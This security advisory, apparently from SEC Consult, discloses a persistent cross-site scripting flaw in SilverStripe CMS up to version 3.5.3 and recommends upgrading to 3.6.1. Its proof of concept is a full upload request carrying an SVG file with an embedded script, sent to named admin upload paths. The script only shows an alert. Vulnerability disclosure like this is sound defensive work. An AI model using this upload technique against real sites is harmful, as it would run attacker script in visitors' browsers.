Vendor Description
“SilverStripe is the intuitive content management system and flexible framework loved by editors and developers alike. Equip your web teams to achieve outstanding results.”
Source: https://www.silverstripe.org/
Business Recommendation
SEC Consult recommends to do a proper output sanitization on uploaded SVG files. Users should upgrade to version 3.6.1 or higher. A thorough source code analysis is recommended.
Vulnerability Overview / Description
1) Persistent Cross Site Scripting
Due to the lack of input validation and output sanitization, an attacker can upload SVG files containing malicious JavaScript code to be executed under a victim’s browser context.
Proof Of Concept
1) Persistent Cross Site Scripting
Example: XSS using SVG File Upload
The file upload function in the CMS allows to upload SVG files but it doesn’t sanitize output of the file which leads to XSS.
There are 2 vulnerable instances of the same vulnerability.
- The “Insert Media” option in the content editor.
- The path “/admin/assets/add/”
During editing contents or creating a new page an attacker can upload an SVG image using the “Insert Image” button. The request below shows that an attacker can upload an SVG file with malicious payloads.
POST /admin/pages/edit/EditorToolbar/MediaForm/field/AssetUploadField/upload HTTP/1.1
Host: $host
---snip---
Cookie: PHPSESSID=esqs7da6338k0sgj7itn3tcil7; bypassStaticCache=1
Connection: close
-----------------------------969190451574
Content-Disposition: form-data; name="SecurityID"
undefined
-----------------------------969190451574
Content-Disposition: form-data; name="AssetUploadField"; filename="evilsvgfile.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert('XSS!');
</script>
</svg>
-----------------------------969190451574--
Using the same process an attacker can also upload a malicious SVG file in the path “/admin/assets/add/”. A low privilege editor user such as a “Content Editor” can also exploit this vulnerability.
Vulnerable / Tested Versions
The following version is affected by the identified vulnerabilities which was the most recent version at the time of discovery:
- Silverstripe CMS version <=3.5.3